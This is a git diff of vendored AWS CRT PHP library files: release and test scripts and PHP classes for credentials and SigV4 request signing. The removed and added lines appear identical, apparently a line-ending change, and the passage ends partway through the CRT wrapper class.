a/vendor/aws/aws-crt-php/prepare_release.sh +++ b/vendor/aws/aws-crt-php/prepare_release.sh @@ -1,31 +1,31 @@ -#!/bin/zsh -zparseopts -A opts -name: -user: -email: -version: -notes: -if [[ $# -lt 10 ]]; then - echo "Usage ${0} --name NAME --user USER --email EMAIL --version VERSION --notes NOTES" - exit 1 -fi -PACKAGE='awscrt' -NAME="${opts[--name]}" -USER="${opts[--user]}" -EMAIL="${opts[--email]}" -VERSION="${opts[--version]}" -NOTES="${opts[--notes]}" - -./prepare_package_xml.sh --name "${NAME}" --user "${USER}" --email "${EMAIL}" --version "${VERSION}" --notes "${NOTES}" >package.xml -if [[ $? -ne 0 ]]; then - echo "ERROR PROCESSING review package.xml" - exit 1 -fi -tidy -xml -m -i package.xml -pear package-validate -if [[ $? -ne 0 ]]; then - echo "ERROR VALIDATING review package.xml" - exit 1 -fi -pear package -if [[ $? -ne 0 ]]; then - echo "ERROR PROCESSING review package.xml" - exit 1 -fi - -echo "Size of ${PACKAGE}-${VERSION}.tgz: " $(du -h "${PACKAGE}-${VERSION}.tgz") +#!/bin/zsh +zparseopts -A opts -name: -user: -email: -version: -notes: +if [[ $# -lt 10 ]]; then + echo "Usage ${0} --name NAME --user USER --email EMAIL --version VERSION --notes NOTES" + exit 1 +fi +PACKAGE='awscrt' +NAME="${opts[--name]}" +USER="${opts[--user]}" +EMAIL="${opts[--email]}" +VERSION="${opts[--version]}" +NOTES="${opts[--notes]}" + +./prepare_package_xml.sh --name "${NAME}" --user "${USER}" --email "${EMAIL}" --version "${VERSION}" --notes "${NOTES}" >package.xml +if [[ $? -ne 0 ]]; then + echo "ERROR PROCESSING review package.xml" + exit 1 +fi +tidy -xml -m -i package.xml +pear package-validate +if [[ $? -ne 0 ]]; then + echo "ERROR VALIDATING review package.xml" + exit 1 +fi +pear package +if [[ $? -ne 0 ]]; then + echo "ERROR PROCESSING review package.xml" + exit 1 +fi + +echo "Size of ${PACKAGE}-${VERSION}.tgz: " $(du -h "${PACKAGE}-${VERSION}.tgz") diff --git a/vendor/aws/aws-crt-php/run_tests b/vendor/aws/aws-crt-php/run_tests index 08e75c31e3..18b449ae17 100644 --- a/vendor/aws/aws-crt-php/run_tests +++ b/vendor/aws/aws-crt-php/run_tests @@ -1,18 +1,18 @@ -#!/usr/bin/env bash - -set -ex - -launcher= -if command -v catchsegv; then - launcher=catchsegv -fi - -if [ -z $PHP_BINARY ]; then - PHP_BINARY=$(which php) -fi - -if [ ! -d vendor ]; then - composer update -fi - -$launcher $PHP_BINARY -c php.ini vendor/bin/phpunit tests --debug +#!/usr/bin/env bash + +set -ex + +launcher= +if command -v catchsegv; then + launcher=catchsegv +fi + +if [ -z $PHP_BINARY ]; then + PHP_BINARY=$(which php) +fi + +if [ ! -d vendor ]; then + composer update +fi + +$launcher $PHP_BINARY -c php.ini vendor/bin/phpunit tests --debug diff --git a/vendor/aws/aws-crt-php/run_tests.bat b/vendor/aws/aws-crt-php/run_tests.bat index 2b0277e0ba..d3e0886d49 100644 --- a/vendor/aws/aws-crt-php/run_tests.bat +++ b/vendor/aws/aws-crt-php/run_tests.bat @@ -1,4 +1,4 @@ - -@echo on - -%PHP_BINARY% -c php-win.ini vendor/bin/phpunit tests --debug + +@echo on + +%PHP_BINARY% -c php-win.ini vendor/bin/phpunit tests --debug diff --git a/vendor/aws/aws-crt-php/src/.gitignore b/vendor/aws/aws-crt-php/src/.gitignore new file mode 100644 index 0000000000..0445360392 --- /dev/null +++ b/vendor/aws/aws-crt-php/src/.gitignore @@ -0,0 +1,3 @@ +api.h +pkgconfig/ +*.so* diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/AwsCredentials.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/AwsCredentials.php index c1791c1b25..6f6acee2c9 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/AwsCredentials.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/AwsCredentials.php @@ -1,69 +1,69 @@ - '', - 'secret_access_key' => '', - 'session_token' => '', - 'expiration_timepoint_seconds' => 0, - ]; - } - - private $access_key_id; - private $secret_access_key; - private $session_token; - private $expiration_timepoint_seconds = 0; - - public function __get($name) { - return $this->$name; - } - - function __construct(array $options = []) { - parent::__construct(); - - $options = new Options($options, self::defaults()); - $this->access_key_id = $options->access_key_id->asString(); - $this->secret_access_key = $options->secret_access_key->asString(); - $this->session_token = $options->session_token ? $options->session_token->asString() : null; - $this->expiration_timepoint_seconds = $options->expiration_timepoint_seconds->asInt(); - - if (strlen($this->access_key_id) == 0) { - throw new \InvalidArgumentException("access_key_id must be provided"); - } - if (strlen($this->secret_access_key) == 0) { - throw new \InvalidArgumentException("secret_access_key must be provided"); - } - - $creds_options = self::$crt->aws_credentials_options_new(); - self::$crt->aws_credentials_options_set_access_key_id($creds_options, $this->access_key_id); - self::$crt->aws_credentials_options_set_secret_access_key($creds_options, $this->secret_access_key); - self::$crt->aws_credentials_options_set_session_token($creds_options, $this->session_token); - self::$crt->aws_credentials_options_set_expiration_timepoint_seconds($creds_options, $this->expiration_timepoint_seconds); - $this->acquire(self::$crt->aws_credentials_new($creds_options)); - self::$crt->aws_credentials_options_release($creds_options); - } - - function __destruct() { - self::$crt->aws_credentials_release($this->release()); - parent::__destruct(); - } -} + '', + 'secret_access_key' => '', + 'session_token' => '', + 'expiration_timepoint_seconds' => 0, + ]; + } + + private $access_key_id; + private $secret_access_key; + private $session_token; + private $expiration_timepoint_seconds = 0; + + public function __get($name) { + return $this->$name; + } + + function __construct(array $options = []) { + parent::__construct(); + + $options = new Options($options, self::defaults()); + $this->access_key_id = $options->access_key_id->asString(); + $this->secret_access_key = $options->secret_access_key->asString(); + $this->session_token = $options->session_token ? $options->session_token->asString() : null; + $this->expiration_timepoint_seconds = $options->expiration_timepoint_seconds->asInt(); + + if (strlen($this->access_key_id) == 0) { + throw new \InvalidArgumentException("access_key_id must be provided"); + } + if (strlen($this->secret_access_key) == 0) { + throw new \InvalidArgumentException("secret_access_key must be provided"); + } + + $creds_options = self::$crt->aws_credentials_options_new(); + self::$crt->aws_credentials_options_set_access_key_id($creds_options, $this->access_key_id); + self::$crt->aws_credentials_options_set_secret_access_key($creds_options, $this->secret_access_key); + self::$crt->aws_credentials_options_set_session_token($creds_options, $this->session_token); + self::$crt->aws_credentials_options_set_expiration_timepoint_seconds($creds_options, $this->expiration_timepoint_seconds); + $this->acquire(self::$crt->aws_credentials_new($creds_options)); + self::$crt->aws_credentials_options_release($creds_options); + } + + function __destruct() { + self::$crt->aws_credentials_release($this->release()); + parent::__destruct(); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/CredentialsProvider.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/CredentialsProvider.php index 89b7a89ceb..e9d3588675 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/CredentialsProvider.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/CredentialsProvider.php @@ -1,23 +1,23 @@ -credentials_provider_release($this->release()); - parent::__destruct(); - } -} +credentials_provider_release($this->release()); + parent::__destruct(); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/Signable.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/Signable.php index 24178694f2..100b56ad56 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/Signable.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/Signable.php @@ -1,43 +1,43 @@ -signable_new_from_http_request($http_message->native); - }); - } - - public static function fromChunk($chunk_stream, $previous_signature="") { - if (!($chunk_stream instanceof InputStream)) { - $chunk_stream = new InputStream($chunk_stream); - } - return new Signable(function() use($chunk_stream, $previous_signature) { - return self::$crt->signable_new_from_chunk($chunk_stream->native, $previous_signature); - }); - } - - public static function fromCanonicalRequest($canonical_request) { - return new Signable(function() use($canonical_request) { - return self::$crt->signable_new_from_canonical_request($canonical_request); - }); - } - - protected function __construct($ctor) { - parent::__construct(); - $this->acquire($ctor()); - } - - function __destruct() { - self::$crt->signable_release($this->release()); - parent::__destruct(); - } +signable_new_from_http_request($http_message->native); + }); + } + + public static function fromChunk($chunk_stream, $previous_signature="") { + if (!($chunk_stream instanceof InputStream)) { + $chunk_stream = new InputStream($chunk_stream); + } + return new Signable(function() use($chunk_stream, $previous_signature) { + return self::$crt->signable_new_from_chunk($chunk_stream->native, $previous_signature); + }); + } + + public static function fromCanonicalRequest($canonical_request) { + return new Signable(function() use($canonical_request) { + return self::$crt->signable_new_from_canonical_request($canonical_request); + }); + } + + protected function __construct($ctor) { + parent::__construct(); + $this->acquire($ctor()); + } + + function __destruct() { + self::$crt->signable_release($this->release()); + parent::__destruct(); + } } \ No newline at end of file diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SignatureType.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SignatureType.php index bee79c3baf..3d3b99f084 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SignatureType.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SignatureType.php @@ -1,15 +1,15 @@ - SigningAlgorithm::SIGv4, - 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, - 'credentials_provider' => null, - 'region' => null, - 'service' => null, - 'use_double_uri_encode' => false, - 'should_normalize_uri_path' => false, - 'omit_session_token' => false, - 'signed_body_value' => null, - 'signed_body_header_type' => SignedBodyHeaderType::NONE, - 'expiration_in_seconds' => 0, - 'date' => time(), - 'should_sign_header' => null, - ]; - } - - private $options; - - public function __construct(array $options = []) { - parent::__construct(); - $this->options = $options = new Options($options, self::defaults()); - $sc = $this->acquire(self::$crt->signing_config_aws_new()); - self::$crt->signing_config_aws_set_algorithm($sc, $options->algorithm->asInt()); - self::$crt->signing_config_aws_set_signature_type($sc, $options->signature_type->asInt()); - if ($credentials_provider = $options->credentials_provider->asObject()) { - self::$crt->signing_config_aws_set_credentials_provider( - $sc, - $credentials_provider->native); - } - self::$crt->signing_config_aws_set_region( - $sc, $options->region->asString()); - self::$crt->signing_config_aws_set_service( - $sc, $options->service->asString()); - self::$crt->signing_config_aws_set_use_double_uri_encode( - $sc, $options->use_double_uri_encode->asBool()); - self::$crt->signing_config_aws_set_should_normalize_uri_path( - $sc, $options->should_normalize_uri_path->asBool()); - self::$crt->signing_config_aws_set_omit_session_token( - $sc, $options->omit_session_token->asBool()); - self::$crt->signing_config_aws_set_signed_body_value( - $sc, $options->signed_body_value->asString()); - self::$crt->signing_config_aws_set_signed_body_header_type( - $sc, $options->signed_body_header_type->asInt()); - self::$crt->signing_config_aws_set_expiration_in_seconds( - $sc, $options->expiration_in_seconds->asInt()); - self::$crt->signing_config_aws_set_date($sc, $options->date->asInt()); - if ($should_sign_header = $options->should_sign_header->asCallable()) { - self::$crt->signing_config_aws_set_should_sign_header_fn($sc, $should_sign_header); - } - } - - function __destruct() - { - self::$crt->signing_config_aws_release($this->release()); - parent::__destruct(); - } - - public function __get($name) { - return $this->options->get($name); - } + SigningAlgorithm::SIGv4, + 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, + 'credentials_provider' => null, + 'region' => null, + 'service' => null, + 'use_double_uri_encode' => false, + 'should_normalize_uri_path' => false, + 'omit_session_token' => false, + 'signed_body_value' => null, + 'signed_body_header_type' => SignedBodyHeaderType::NONE, + 'expiration_in_seconds' => 0, + 'date' => time(), + 'should_sign_header' => null, + ]; + } + + private $options; + + public function __construct(array $options = []) { + parent::__construct(); + $this->options = $options = new Options($options, self::defaults()); + $sc = $this->acquire(self::$crt->signing_config_aws_new()); + self::$crt->signing_config_aws_set_algorithm($sc, $options->algorithm->asInt()); + self::$crt->signing_config_aws_set_signature_type($sc, $options->signature_type->asInt()); + if ($credentials_provider = $options->credentials_provider->asObject()) { + self::$crt->signing_config_aws_set_credentials_provider( + $sc, + $credentials_provider->native); + } + self::$crt->signing_config_aws_set_region( + $sc, $options->region->asString()); + self::$crt->signing_config_aws_set_service( + $sc, $options->service->asString()); + self::$crt->signing_config_aws_set_use_double_uri_encode( + $sc, $options->use_double_uri_encode->asBool()); + self::$crt->signing_config_aws_set_should_normalize_uri_path( + $sc, $options->should_normalize_uri_path->asBool()); + self::$crt->signing_config_aws_set_omit_session_token( + $sc, $options->omit_session_token->asBool()); + self::$crt->signing_config_aws_set_signed_body_value( + $sc, $options->signed_body_value->asString()); + self::$crt->signing_config_aws_set_signed_body_header_type( + $sc, $options->signed_body_header_type->asInt()); + self::$crt->signing_config_aws_set_expiration_in_seconds( + $sc, $options->expiration_in_seconds->asInt()); + self::$crt->signing_config_aws_set_date($sc, $options->date->asInt()); + if ($should_sign_header = $options->should_sign_header->asCallable()) { + self::$crt->signing_config_aws_set_should_sign_header_fn($sc, $should_sign_header); + } + } + + function __destruct() + { + self::$crt->signing_config_aws_release($this->release()); + parent::__destruct(); + } + + public function __get($name) { + return $this->options->get($name); + } } \ No newline at end of file diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SigningResult.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SigningResult.php index a6e73bd2ea..b8a4ab5661 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SigningResult.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/SigningResult.php @@ -1,33 +1,33 @@ -acquire($native); - } - - function __destruct() { - // No destruction necessary, SigningResults are transient, just release - $this->release(); - parent::__destruct(); - } - - public static function fromNative($ptr) { - return new SigningResult($ptr); - } - - public function applyToHttpRequest(&$http_request) { - self::$crt->signing_result_apply_to_http_request($this->native, $http_request->native); - // Update http_request from native - $http_request = Request::unmarshall($http_request->toBlob()); - } +acquire($native); + } + + function __destruct() { + // No destruction necessary, SigningResults are transient, just release + $this->release(); + parent::__destruct(); + } + + public static function fromNative($ptr) { + return new SigningResult($ptr); + } + + public function applyToHttpRequest(&$http_request) { + self::$crt->signing_result_apply_to_http_request($this->native, $http_request->native); + // Update http_request from native + $http_request = Request::unmarshall($http_request->toBlob()); + } } \ No newline at end of file diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/StaticCredentialsProvider.php b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/StaticCredentialsProvider.php index a0687e624e..8dc6249444 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/StaticCredentialsProvider.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/StaticCredentialsProvider.php @@ -1,35 +1,35 @@ -$name; - } - - function __construct(array $options = []) { - parent::__construct(); - $this->credentials = new AwsCredentials($options); - - $provider_options = self::$crt->credentials_provider_static_options_new(); - self::$crt->credentials_provider_static_options_set_access_key_id($provider_options, $this->credentials->access_key_id); - self::$crt->credentials_provider_static_options_set_secret_access_key($provider_options, $this->credentials->secret_access_key); - self::$crt->credentials_provider_static_options_set_session_token($provider_options, $this->credentials->session_token); - $this->acquire(self::$crt->credentials_provider_static_new($provider_options)); - self::$crt->credentials_provider_static_options_release($provider_options); - } -} +$name; + } + + function __construct(array $options = []) { + parent::__construct(); + $this->credentials = new AwsCredentials($options); + + $provider_options = self::$crt->credentials_provider_static_options_new(); + self::$crt->credentials_provider_static_options_set_access_key_id($provider_options, $this->credentials->access_key_id); + self::$crt->credentials_provider_static_options_set_secret_access_key($provider_options, $this->credentials->secret_access_key); + self::$crt->credentials_provider_static_options_set_session_token($provider_options, $this->credentials->session_token); + $this->acquire(self::$crt->credentials_provider_static_new($provider_options)); + self::$crt->credentials_provider_static_options_release($provider_options); + } +} diff --git a/vendor/aws/aws-crt-php/src/AWS/CRT/CRT.php b/vendor/aws/aws-crt-php/src/AWS/CRT/CRT.php index a147a09a3d..d196a47377 100644 --- a/vendor/aws/aws-crt-php/src/AWS/CRT/CRT.php +++ b/vendor/aws/aws-crt-php/src/AWS/CRT/CRT.php @@ -1,358 +1,358 @@ -aws_crt_last_error(); - } - - /** - * @param integer $error Error code from the CRT, usually delivered via callback or {@see last_error} - * @return string Human-readable description of the provided error code - */ - public static function error_str($error) { - return self::$impl->aws_crt_error_str((int) $error); - } - - /** - * @param integer $error Error code from the CRT, usually delivered via callback or {@see last_error} - * @return string Name/enum identifier for the provided error code - */ - public static function error_name($error) { - return self::$impl->aws_crt_error_name((int) $error); - } - - public static function log_to_stdout() { - return self::$impl->aws_crt_log_to_stdout(); - } - - public static function log_to_stderr() { - return self::$impl->aws_crt_log_to_stderr(); - } - - public static function log_to_file($filename) { - return self::$impl->aws_crt_log_to_file($filename); - } - - public static function log_to_stream($stream) { - return self::$impl->aws_crt_log_to_stream($stream); - } - - public static function log_set_level($level) { - return self::$impl->aws_crt_log_set_level($level); - } - - public static function log_stop() { - return self::$impl->aws_crt_log_stop(); - } - - public static function log_message($level, $message) { - return self::$impl->aws_crt_log_message($level, $message); - } - - /** - * @return object Pointer to native event_loop_group_options - */ - function event_loop_group_options_new() { - return self::$impl->aws_crt_event_loop_group_options_new(); - } - - /** - * @param object $elg_options Pointer to native event_loop_group_options - */ - function event_loop_group_options_release($elg_options) { - self::$impl->aws_crt_event_loop_group_options_release($elg_options); - } - - /** - * @param object $elg_options Pointer to native event_loop_group_options - * @param integer $max_threads Maximum number of threads to allow the event loop group to use, default: 0/1 per CPU core - */ - function event_loop_group_options_set_max_threads($elg_options, $max_threads) { - self::$impl->aws_crt_event_loop_group_options_set_max_threads($elg_options, (int)$max_threads); - } - - /** - * @param object Pointer to event_loop_group_options, {@see event_loop_group_options_new} - * @return object Pointer to the new event loop group - */ - function event_loop_group_new($options) { - return self::$impl->aws_crt_event_loop_group_new($options); - } - - /** - * @param object $elg Pointer to the event loop group to release - */ - function event_loop_group_release($elg) { - self::$impl->aws_crt_event_loop_group_release($elg); - } - - /** - * return object Pointer to native AWS credentials options - */ - function aws_credentials_options_new() { - return self::$impl->aws_crt_credentials_options_new(); - } - - function aws_credentials_options_release($options) { - self::$impl->aws_crt_credentials_options_release($options); - } - - function aws_credentials_options_set_access_key_id($options, $access_key_id) { - self::$impl->aws_crt_credentials_options_set_access_key_id($options, $access_key_id); - } - - function aws_credentials_options_set_secret_access_key($options, $secret_access_key) { - self::$impl->aws_crt_credentials_options_set_secret_access_key($options, $secret_access_key); - } - - function aws_credentials_options_set_session_token($options, $session_token) { - self::$impl->aws_crt_credentials_options_set_session_token($options, $session_token); - } - - function aws_credentials_options_set_expiration_timepoint_seconds($options, $expiration_timepoint_seconds) { - self::$impl->aws_crt_credentials_options_set_expiration_timepoint_seconds($options, $expiration_timepoint_seconds); - } - - function aws_credentials_new($options) { - return self::$impl->aws_crt_credentials_new($options); - } - - function aws_credentials_release($credentials) { - self::$impl->aws_crt_credentials_release($credentials); - } - - function credentials_provider_release($provider) { - self::$impl->aws_crt_credentials_provider_release($provider); - } - - function credentials_provider_static_options_new() { - return self::$impl->aws_crt_credentials_provider_static_options_new(); - } - - function credentials_provider_static_options_release($options) { - self::$impl->aws_crt_credentials_provider_static_options_release($options); - } - - function credentials_provider_static_options_set_access_key_id($options, $access_key_id) { - self::$impl->aws_crt_credentials_provider_static_options_set_access_key_id($options, $access_key_id); - } - - function credentials_provider_static_options_set_secret_access_key($options, $secret_access_key) { - self::$impl->aws_crt_credentials_provider_static_options_set_secret_access_key($options, $secret_access_key); - } - - function credentials_provider_static_options_set_session_token($options, $session_token) { - self::$impl->aws_crt_credentials_provider_static_options_set_session_token($options, $session_token); - } - - function credentials_provider_static_new($options) { - return self::$impl->aws_crt_credentials_provider_static_new($options); - } - - function input_stream_options_new() { - return self::$impl->aws_crt_input_stream_options_new(); - } - - function input_stream_options_release($options) { - self::$impl->aws_crt_input_stream_options_release($options); - } - - function input_stream_options_set_user_data($options, $user_data) { - self::$impl->aws_crt_input_stream_options_set_user_data($options, $user_data); - } - - function input_stream_new($options) { - return self::$impl->aws_crt_input_stream_new($options); - } - - function input_stream_release($stream) { - self::$impl->aws_crt_input_stream_release($stream); - } - - function input_stream_seek($stream, $offset, $basis) { - return self::$impl->aws_crt_input_stream_seek($stream, $offset, $basis); - } - - function input_stream_read($stream, $length) { - return self::$impl->aws_crt_input_stream_read($stream, $length); - } - - function input_stream_eof($stream) { - return self::$impl->aws_crt_input_stream_eof($stream); - } - - function input_stream_get_length($stream) { - return self::$impl->aws_crt_input_stream_get_length($stream); - } - - function http_message_new_from_blob($blob) { - return self::$impl->aws_crt_http_message_new_from_blob($blob); - } - - function http_message_to_blob($message) { - return self::$impl->aws_crt_http_message_to_blob($message); - } - - function http_message_release($message) { - self::$impl->aws_crt_http_message_release($message); - } - - function signing_config_aws_new() { - return self::$impl->aws_crt_signing_config_aws_new(); - } - - function signing_config_aws_release($signing_config) { - return self::$impl->aws_crt_signing_config_aws_release($signing_config); - } - - function signing_config_aws_set_algorithm($signing_config, $algorithm) { - self::$impl->aws_crt_signing_config_aws_set_algorithm($signing_config, (int)$algorithm); - } - - function signing_config_aws_set_signature_type($signing_config, $signature_type) { - self::$impl->aws_crt_signing_config_aws_set_signature_type($signing_config, (int)$signature_type); - } - - function signing_config_aws_set_credentials_provider($signing_config, $credentials_provider) { - self::$impl->aws_crt_signing_config_aws_set_credentials_provider($signing_config, $credentials_provider); - } - - function signing_config_aws_set_region($signing_config, $region) { - self::$impl->aws_crt_signing_config_aws_set_region($signing_config, $region); - } - - function signing_config_aws_set_service($signing_config, $service) { - self::$impl->aws_crt_signing_config_aws_set_service($signing_config, $service); - } - - function signing_config_aws_set_use_double_uri_encode($signing_config, $use_double_uri_encode) { - self::$impl->aws_crt_signing_config_aws_set_use_double_uri_encode($signing_config, $use_double_uri_encode); - } - - function signing_config_aws_set_should_normalize_uri_path($signing_config, $should_normalize_uri_path) { - self::$impl->aws_crt_signing_config_aws_set_should_normalize_uri_path($signing_config, $should_normalize_uri_path); - } - - function signing_config_aws_set_omit_session_token($signing_config, $omit_session_token) { - self::$impl->aws_crt_signing_config_aws_set_omit_session_token($signing_config, $omit_session_token); - } - - function signing_config_aws_set_signed_body_value($signing_config, $signed_body_value) { - self::$impl->aws_crt_signing_config_aws_set_signed_body_value($signing_config, $signed_body_value); - } - - function signing_config_aws_set_signed_body_header_type($signing_config, $signed_body_header_type) { - self::$impl->aws_crt_signing_config_aws_set_signed_body_header_type($signing_config, $signed_body_header_type); - } - - function signing_config_aws_set_expiration_in_seconds($signing_config, $expiration_in_seconds) { - self::$impl->aws_crt_signing_config_aws_set_expiration_in_seconds($signing_config, $expiration_in_seconds); - } - - function signing_config_aws_set_date($signing_config, $timestamp) { - self::$impl->aws_crt_signing_config_aws_set_date($signing_config, $timestamp); - } - - function signing_config_aws_set_should_sign_header_fn($signing_config, $should_sign_header_fn) { - self::$impl->aws_crt_signing_config_aws_set_should_sign_header_fn($signing_config, $should_sign_header_fn); - } - - function signable_new_from_http_request($http_message) { - return self::$impl->aws_crt_signable_new_from_http_request($http_message); - } - - function signable_new_from_chunk($chunk_stream, $previous_signature) { - return self::$impl->aws_crt_signable_new_from_chunk($chunk_stream, $previous_signature); - } - - function signable_new_from_canonical_request($canonical_request) { - return self::$impl->aws_crt_signable_new_from_canonical_request($canonical_request); - } - - function signable_release($signable) { - self::$impl->aws_crt_signable_release($signable); - } - - function signing_result_release($signing_result) { - self::$impl->aws_crt_signing_result_release($signing_result); - } - - function signing_result_apply_to_http_request($signing_result, $http_message) { - return self::$impl->aws_crt_signing_result_apply_to_http_request( - $signing_result, $http_message); - } - - function sign_request_aws($signable, $signing_config, $on_complete, $user_data) { - return self::$impl->aws_crt_sign_request_aws($signable, $signing_config, $on_complete, $user_data); - } - - function test_verify_sigv4a_signing($signable, $signing_config, $expected_canonical_request, $signature, $ecc_key_pub_x, $ecc_key_pub_y) { - return self::$impl->aws_crt_test_verify_sigv4a_signing($signable, $signing_config, $expected_canonical_request, $signature, $ecc_key_pub_x, $ecc_key_pub_y); - } - - public static function crc32($input, $previous = 0) { - return self::$impl->aws_crt_crc32($input, $previous); - } - - public static function crc32c($input, $previous = 0) { - return self::$impl->aws_crt_crc32c($input, $previous); - } -} +aws_crt_last_error(); + } + + /** + * @param integer $error Error code from the CRT, usually delivered via callback or {@see last_error} + * @return string Human-readable description of the provided error code + */ + public static function error_str($error) { + return self::$impl->aws_crt_error_str((int) $error); + } + + /** + * @param integer $error Error code from the CRT, usually delivered via callback or {@see last_error} + * @return string Name/enum identifier for the provided error code + */ + public static function error_name($error) { + return self::$impl->aws_crt_error_name((int) $error); + } + + public static function log_to_stdout() { + return self::$impl->aws_crt_log_to_stdout(); + } + + public static function log_to_stderr() { + return self::$impl->aws_crt_log_to_stderr(); + } + + public static function log_to_file($filename) { + return self::$impl->aws_crt_log_to_file($filename); + } + + public static function log_to_stream($stream) { + return self::$impl->aws_crt_log_to_stream($stream); + } + + public static function log_set_level($level) { + return self::$impl->aws_crt_log_set_level($level); + } + + public static function log_stop() { + return self::$impl->aws_crt_log_stop(); + } + + public static function log_message($level, $message) { + return self::$impl->aws_crt_log_message($level, $message); + } + + /** + * @return object Pointer to native event_loop_group_options + */ + function event_loop_group_options_new() { + return self::$impl->aws_crt_event_loop_group_options_new(); + } + + /** + * @param object $elg_options Pointer to native event_loop_group_options + */ + function event_loop_group_options_release($elg_options) { + self::$impl->aws_crt_event_loop_group_options_release($elg_options); + } + + /** + * @param object $elg_options Pointer to native event_loop_group_options + * @param integer $max_threads Maximum number of threads to allow the event loop group to use, default: 0/1 per CPU core + */ + function event_loop_group_options_set_max_threads($elg_options, $max_threads) { + self::$impl->aws_crt_event_loop_group_options_set_max_threads($elg_options, (int)$max_threads); + } + + /** + * @param object Pointer to event_loop_group_options, {@see event_loop_group_options_new} + * @return object Pointer to the new event loop group + */ + function event_loop_group_new($options) { + return self::$impl->aws_crt_event_loop_group_new($options); + } + + /** + * @param object $elg Pointer to the event loop group to release + */ + function event_loop_group_release($elg) { + self::$impl->aws_crt_event_loop_group_release($elg); + } + + /** + * return object Pointer to native AWS credentials options + */ + function aws_credentials_options_new() { + return self::$impl->aws_crt_credentials_options_new(); + } + + function aws_credentials_options_release($options) { + self::$impl->aws_crt_credentials_options_release($options); + } + + function aws_credentials_options_set_access_key_id($options, $access_key_id) { + self::$impl->aws_crt_credentials_options_set_access_key_id($options, $access_key_id); + } + + function aws_credentials_options_set_secret_access_key($options, $secret_access_key) { + self::$impl->aws_crt_credentials_options_set_secret_access_key($options, $secret_access_key); + } + + function aws_credentials_options_set_session_token($options, $session_token) { + self::$impl->aws_crt_credentials_options_set_session_token($options, $session_token); + } + + function aws_credentials_options_set_expiration_timepoint_seconds($options, $expiration_timepoint_seconds) { + self::$impl->aws_crt_credentials_options_set_expiration_timepoint_seconds($options, $expiration_timepoint_seconds); + } + + function aws_credentials_new($options) { + return self::$impl->aws_crt_credentials_new($options); + } + + function aws_credentials_release($credentials) { + self::$impl->aws_crt_credentials_release($credentials); + } + + function credentials_provider_release($provider) { + self::$impl->aws_crt_credentials_provider_release($provider); + } + + function credentials_provider_static_options_new() { + return self::$impl->aws_crt_credentials_provider_static_options_new(); + } + + function credentials_provider_static_options_release($options) { + self::$impl->aws_crt_credentials_provider_static_options_release($options); + } + + function credentials_provider_static_options_set_access_key_id($options, $access_key_id) { + self::$impl->aws_crt_credentials_provider_static_options_set_access_key_id($options, $access_key_id); + } + + function credentials_provider_static_options_set_secret_access_key($options, $secret_access_key) { + self::$impl->aws_crt_credentials_provider_static_options_set_secret_access_key($options, $secret_access_key); + } + + function credentials_provider_static_options_set_session_token($options, $session_token) { + self::$impl->aws_crt_credentials_provider_static_options_set_session_token($options, $session_token); + } + + function credentials_provider_static_new($options) { + return self::$impl->aws_crt_credentials_provider_static_new($options); + } + + function input_stream_options_new() { + return self::$impl->aws_crt_input_stream_options_new(); + } + + function input_stream_options_release($options) { + self::$impl->aws_crt_input_stream_options_release($options); + } + + function input_stream_options_set_user_data($options, $user_data) { + self::$impl->aws_crt_input_stream_options_set_user_data($options, $user_data); + } + + function input_stream_new($options) { + return self::$impl->aws_crt_input_stream_new($options); + } + + function input_stream_release($stream) { + self::$impl->aws_crt_input_stream_release($stream); + } + + function input_stream_seek($stream, $offset, $basis) { + return self::$impl->aws_crt_input_stream_seek($stream, $offset, $basis); + } + + function input_stream_read($stream, $length) { + return self::$impl->aws_crt_input_stream_read($stream, $length); + } + + function input_stream_eof($stream) { + return self::$impl->aws_crt_input_stream_eof($stream); + } + + function input_stream_get_length($stream) { + return self::$impl->aws_crt_input_stream_get_length($stream); + } + + function http_message_new_from_blob($blob) { + return self::$impl->aws_crt_http_message_new_from_blob($blob); + } + + function http_message_to_blob($message) { + return self::$impl->aws_crt_http_message_to_blob($message); + } + + function http_message_release($message) { + self::$impl->aws_crt_http_message_release($message); + } + + function signing_config_aws_new() { + return self::$impl->aws_crt_signing_config_aws_new(); + } + + function signing_config_aws_release($signing_config) { + return self::$impl->aws_crt_signing_config_aws_release($signing_config); + } + + function signing_config_aws_set_algorithm($signing_config, $algorithm) { + self::$impl->aws_crt_signing_config_aws_set_algorithm($signing_config, (int)$algorithm); + } + + function signing_config_aws_set_signature_type($signing_config, $signature_type) { + self::$impl->aws_crt_signing_config_aws_set_signature_type($signing_config, (int)$signature_type); + } + + function signing_config_aws_set_credentials_provider($signing_config, $credentials_provider) { + self::$impl->aws_crt_signing_config_aws_set_credentials_provider($signing_config, $credentials_provider); + } + + function signing_config_aws_set_region($signing_config, $region) { + self::$impl->aws_crt_signing_config_aws_set_region($signing_config, $region); + } + + function signing_config_aws_set_service($signing_config, $service) { + self::$impl->aws_crt_signing_config_aws_set_service($signing_config, $service); + } + + function signing_config_aws_set_use_double_uri_encode($signing_config, $use_double_uri_encode) { + 